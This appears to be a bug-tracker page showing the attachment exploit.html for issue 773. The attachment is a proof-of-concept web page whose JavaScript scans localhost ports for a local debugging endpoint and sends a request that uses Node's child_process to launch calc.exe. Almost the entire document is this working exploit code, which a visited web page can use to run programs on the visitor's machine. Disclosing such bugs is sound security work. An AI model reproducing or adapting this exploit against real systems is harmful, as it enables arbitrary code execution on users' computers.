New issue
Advanced search Search tips

Issue 773 attachment: exploit.html (663 bytes)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<html>
<head></head>
<body>
<script>
var port = 49152;
var maxport = 60000;
var concurrent = 128;

function nextPort()
{
var img = document.createElement('IMG');
img.alt = "Testing " + port + "...";
img.src = "http://127.0.0.1:"
+ port++
+ "/json/new/?"
+ "javascript:require('child_process')"
+ ".spawnSync('calc.exe')";

img.onload = img.onerror = function(e) {
document.body.removeChild(e.target);
nextPort();
}

if (port < maxport) {
document.body.appendChild(img);
}
}

for (i = 0; i < concurrent; i++)
nextPort();

</script>
</body>
</html>